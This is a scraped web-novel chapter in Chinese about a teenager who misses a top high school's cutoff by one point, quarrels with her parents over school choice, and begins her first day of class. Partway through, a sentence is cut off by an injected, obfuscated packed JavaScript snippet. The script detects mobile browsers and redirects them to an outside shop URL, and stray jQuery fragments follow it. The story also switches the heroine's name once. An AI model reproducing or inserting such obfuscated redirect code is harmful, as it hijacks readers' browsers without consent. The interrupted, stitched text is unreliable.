文趣网 > 都市小说 > 春日弗朗1 > 6. 忍冬(3)
    “方晴,查成绩了吗?”

    赵胜安和颜春荣下班回来,颜春荣在门口弯腰脱自己的高跟鞋。

    赵方晴摊在沙发上撕开一包薯片。

    “还没,凌晨才出。”

    “晴晴的学校那边说好了么?”

    颜春荣回过头问赵胜安。

    “先等成绩出来,看看成绩再说。”

    “你不会没给人说好吧?”

    “你这话说的,我难道不把闺女的事儿放在心上?”

    颜春荣一脸嫌弃:“那边来信没有?别最后火烧屁股了才知道着急。”

    “你这话说的,连成绩都没出......”

    “行了,别说了,你就是成天知道喝酒....”

    颜春荣忍不住埋怨。

    “我怎么又...”

    赵胜安百口莫辩。

    “你们两个每天的对话能不能有点意义?还没说几句就要吵起来的架势,有意思吗?”

    赵方晴不耐烦的离开客厅,砰地一声,关上了卧室门。

    凌晨是个查成绩的高峰期,网络拥挤,一度造成瘫痪。赵方晴翻了个身子,拿起遥控器把空调调到了最低温度,拉了拉被子。

    夜晚的梦关于儿时。小学时,赵胜安每周都会请半天假,带赵方晴去游乐场。

    第二天早上,窗边的鸟叫声低回婉转。程冉眯缝着眼,脑子还有些昏昏沉沉。

    她揉了揉眼睛,点开了和卢缇的聊天框。

    “方晴,555……”

    一看就知道卢缇昨晚查过成绩了,方晴扣了一下眼角,叹了口气,点开语音安慰她说:“没事儿,你不是还有特长生吗,一定能过,考了多少?”

    “不是啊,我是说,我考了五百五十五,你觉得能进桥城高中吗?”

    “五百五十五?!”

    好一针清醒剂,所有的困倦一扫而空。赵方晴拔下电脑的充电线,从床上坐了起来。

    电脑一夜没关,页面上还显示着桥城高中历年来的录取分数线,片刻恍惚,过了一会儿,赵方晴说。

    “去年他们统招分数是560,第二批次降三十分录取,你这不是就挺有把握的吗。”

    卢缇问赵方晴:“你呢,考了多少?”

    “我还没查”

    卢缇抑制住了想要揍她的冲动:“......姐姐,你怎么一点也不着急。”

    赵方晴揉了揉自己的太阳穴,静默了一会儿:“考都考完了,听天由命吧。”

    洗漱过后,赵方晴端着一个三明治和一杯牛奶重新回到了电脑前。

    点击查询页面。

    一个数字一个数字的输入了自己的考试编号。心里像是有一万头小鹿。

    按enter键的手指都有点不受控的颤抖。

    “523”

    红色的数字平静朴实的挂着。

    黯淡有过片刻,她扯起嘴角笑了笑,心里想着果然,一猜一个准。

    赵方晴顺手截了个屏幕,发给了正在上班的赵胜安、颜春荣还有卢缇。

    最让赵方晴没想到的是,这个成绩出乎了夫妻俩的意料。没有预期中的责备也没有期望中的安慰。

    饭局上,赵胜安举起酒杯对右边的中年人说。

    “她考了五百多分,还挺让我大吃一惊的,我还以为她最后只能考将近四百分呢。”

    中年男人笑眯眯的说:“欸,别这样说,学校就爱要这种学生,成绩不算太差,又能给学校掏钱。”

    一分一万八,一分一毫差不了。

    上学的事情,谈得倒是挺融洽。

    心里不是滋味的只有赵方晴,桥城高中二批次录取线也出了。

    524分,一分之差,一个天上,一个地下。

    老天有时候是不是就爱逗人玩。

    谁都不服,就服你。

    回到家,赵方晴盯着成绩条突然笑了。

    自己上辈子真的是造了什么孽,买彩票也没有这么好的运气。不过也是,或许这个差几分的概率,她真的可以尝试一下去买彩票。

    说干就干,赵方晴跑到楼下,买了十张刮刮乐。

    一张没中。

    正准备离开,进来一对年轻情侣,他们买了第十一张,直接中了三百块钱。

    赵方晴放下手里的刮刮铲,心情淡淡的。

    算了。

    倒霉惯了。

    ……

    朋友圈是大家晒出来的成绩单。

    有人欢喜有人忧。

    赵方晴得知他们这一个班,除了她,就两个人报考桥城高中。一个是化学老师的女儿,年级第十,另一个是对面拆迁户地的女儿,学校占着他们那儿的地皮,经过居委协商,每年自然也会给他们几个名额。

    填志愿的时候,赵方晴犹豫了。

    要不填桥城六高吧,这个成绩,除了桥城高中差一分,其他的,都能正式录取。

    “要不报六高吧,能过录取线,不用花钱了。”

    赵方晴小心翼翼的对颜春荣说。

    “说让你报这个,就是这个,这件事没得商量。”

    “为什么?六高也不错。”

    抽完的烟头七个八个已经平躺在了玻璃烟灰缸里,赵胜安一脸凝重。

    “你知不知道我们为了你托人找关系,废了多大力气?你是个白眼狼吗?有没有体谅过我们?。”

    握着鼠标的手迟迟没有动静,不想听啥偏来啥。

    “你这闺女,爹妈拼尽全力让你上最好的学校,没想到是个不争气的,连点抱负都没有,能不能有点志气?”

    颜春荣语言轻缓的充当着一个调停者。

    “父母永远不会害自己的孩子,我们为什么努力,不就是为了想给你提供一些好的生活吗?你要懂得我们的用心良苦。我们这辈子都是给你干的,懂不懂?”

    “.......”

    “给我干的?难道没有我,你们就不工作了吗?”

    强烈反抗试了,软磨硬泡也试了。

    像是带点赌气的意味,后面两个空格里的志愿全部都是空白,她没有给自己留退路。

    每个人对待生活的态度不一样。

    她就是无法心安理得地的去享受一切。

    “晴晴,你什么时候来啊,我好想你,军训好累。”

    “应该,快了。”

    赵方晴怕卢缇玩手机被抓到,多数情况下很少回复她。百无聊赖的躺在床上抱起一旁的猪猪枕头,抵着下巴。

    听说桥城高中是出了名的严格。

    客厅传来一声轻笑,颜春荣在电话里和美容店聊着后面续费的事情。

    又躺了一会儿,赵方晴从床上爬了起来,拖拉着鞋子进了厨房。

    她打开冰箱,拿出了米罐、两颗菜椒和半颗包菜。厨房传来菜刀与案板接触的声音,米饭香气淡淡。

    “妈,要不吃过饭再走?”

    赵方晴从厨房探了探头

    “不吃了,不吃了,来不及了”

    颜春荣摆摆手,换过鞋就匆匆忙忙离开了家,楼道里的脚步声浅浅淡去。

    还没来得及问自己什么时候能够去学校,再转头看时,赵胜安也匆匆的离开了家门。

    赵方晴走到阳台,从旁边的鞋柜上拿了个抹布,轻轻擦去昨夜因下雨而溅到台子上的水渍。

    雨后的桥城带

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17802614|210651||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了点动漫里的清新浪漫。

    窗外的河流与草坪,有着独一份的温润美好,意料之中,这个夏天的下半部协奏曲,还是和自己牢牢地栓在了一起。

    雨后的马路旁,有卖瓜果的小摊,五颜六色的水果和谐的摆放在篮筐里,让人挪不开眼睛。

    赵方晴喜欢看这些,特别是色彩明亮的东西。关于音乐节,她只字未提。

    很多时候,赵胜安和颜春荣觉得她早已就打消了唱歌的念头。

    在他们的观念里,小姑娘家家以后有个稳定的工作就好了,不要整日搞些虚头巴脑的。所以哪怕她表现再好,在他们眼里充其量也就是个打发时间的兴趣爱好。

    她特别有耐心,仅限于不排斥的人和事。凭借往时的经验与直觉,赵方晴习惯性的一眼定生死。社交圈层一方面很简单,最内的一圈是她最好的朋友。其次是家人。朋友、同学、同事纳在最边缘,基本谈不上交心。另一方面广泛而多元,她喜欢追求新奇,心情好了,路边炸爆米花的大爷,她都能唠几句。

    晚上夫妻俩下班,赵方晴被告知开学事宜。

    “明天?”

    筷子夹起的火锅丸子不小心滑落,从桌子上掉了下去,滚到了颜春荣的脚边,赵方晴从桌子上抽出张卫生纸,弯腰去捡。

    “到时候准备好中招成绩单,和毕业证,别忘了啊,还有借的书,刚开学不知道要多久发新书。”

    赵胜安看了一眼赵方晴,接着说。

    “把这个钱拿着,看看到时候是在学校充饭卡还是买点什么。”

    “好”

    赵方晴点点头,把钱塞进了书包的夹层内。开学前夜的紧张有过于查成绩当晚,更多的是忐忑和焦虑。

    九点半,这个时候卢缇已经放学了吧。

    赵方晴在聊天框打了一行字。

    “明天,学校见。”

    第二天早上,私家车一辆接着一辆在大门的最东边停下,有序的转弯、离开。

    门口站着五六个老师。

    放眼望去,一栋接着一栋的朱红色教学楼,每个楼上装着标牌:明德、文智、承学楼......

    人头攒动,一群人围在公告栏前。

    赵方晴踮起脚,嘴里小声念叨着:“高一(27)班......高一(27)。”

    那种紧张,是她后来很多年都不曾有过的。

    教室里面差不多已经坐满了人。只剩第三排靠窗的两个位置还没有人来,她选择了最靠墙的那个,人一多,就开始叽叽喳喳。

    大概有十五分钟,一个穿着正装的男人走了进来,头发不长,眼睛狭长,手里抱着一台笔记本电脑。一言不发,规规矩矩的站到讲台上,神情严肃。

    打量了一圈儿后,他翻手敲了敲桌子。

    “同学们,安静一下”

    所有人的目光聚集到了他的身上。

    大家安静了下来。

    台上的人清了清嗓子,又说。

    “自我介绍一下,我叫康柏林,毕业于华汉师大,很荣幸今年作为高一(27)班的班主任,同时也是一名历史老师,以后请多多指教。”

    台下突然响起一片掌声,大家都挺捧场的。

    “下面我们把材料费收一下。”

    他把桌子腾干净,从公文包里拿出了纸和笔,肉眼可见的,康柏林的衬衫已经浸湿了大半。第一排的男生抽出一张纸巾递给他。

    康柏林:“谢谢。”

    话音刚落,同学们开始在下面窃窃私语,康柏林在黑板上写下了自己的名字和联系方式。

    大家统一在下面拿出本子和笔抄写,几个顽皮的,从书包里拿出手机对着黑板拍照。